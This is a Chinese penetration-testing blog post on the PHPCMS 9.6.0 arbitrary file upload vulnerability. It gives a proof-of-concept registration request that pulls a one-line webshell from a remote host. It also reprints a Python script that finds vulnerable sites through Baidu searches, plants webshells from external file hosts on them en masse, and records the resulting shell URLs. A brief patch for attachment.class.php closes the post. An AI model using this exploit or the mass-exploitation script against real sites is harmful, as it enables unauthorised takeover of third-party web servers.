【滲透測試】PHPCMS9.6.0 任意文件上傳漏洞+修復方案

這個漏洞是某司的一位前輩發出來的，這里只是復現一下而已。

原文地址：https://www.t00ls.net/thread-39226-1-1.html

首先我們本地搭建一個phpcms9.6.0的環境

下載地址：http://www.mycodes.net/43/3365.htm

 

點擊注冊頁面，進行抓包

在本地創建一個txt文本，寫入一句話木馬

POC

siteid=1&modelid=11&username=seven1&password=seven123456&email=[e-mail]&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=

修改抓包內容，添加POC

菜刀鏈接

 

 

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也可以用火狐插件執行POC

 

附上Akkuman 大牛寫的批量腳本

說明：

依賴庫的安裝pip install requests

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
}

def parseBaidu(keyword, pagenum):
    keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
    pnum = 0
    while pnum <= int(pagenum):
        baseURL = keywordsBaseURL + str(pnum*10)
        try:
            request = requests.get(baseURL, headers=headers)
            soup = BeautifulSoup(request.text, "html.parser")
            for a in soup.select('div.c-container > h3 > a'):
                url = requests.get(a['href'], headers=headers, timeout=7).url
                yield url
        except:
            yield None
        finally:
            pnum += 1


def saveShell(shellUrl):
    with open("webShell.txt","a+") as f:
        f.write("[*]%s\n" % shellUrl)

def main():
    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "akkumandsad",
        "password": "123456",
        "email": "[e-mail]",
        # 如果想使用回調的可以使用http://file.codecat.one/oneword.txt，一句話地址為.php后面加上e=YXNzZXJ0,普通一句話http://file.codecat.one/normalOneWord.txt
        "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
        try:
            if crawlUrl:
                rand_name = chars[Random().randint(0, len(chars) - 1)]
                data["username"] = "akkuman_%s" % rand_name
                data["email"] = "[e-mail]" % rand_name
                host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
                url = host + "/index.php?m=member&c=index&a=register&siteid=1"
                htmlContent = requests.post(url, data=data, timeout=10)
                successUrl = ""
                if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
                    successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
                    print("[*]Shell  : %s" % successUrl)
                    saveShell(successUrl)
                if successUrl == "":
                    print("[x]Failed : Failed to getshell.")
            else:
                continue
        except:
            print("Request Error")



if __name__ == '__main__':
    main()

 

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修復方法：

打開phpcms\libs\classes\attachment.class.php

在168行代碼下面添加如下代碼

if(!stripos($ext,$filename)){
    $arryfilename = explode("|", $ext);
    foreach($arryfilename as $n=>$fn){
                if($fn){
                       $filename = $fn;
                        continue;
                }
     }
}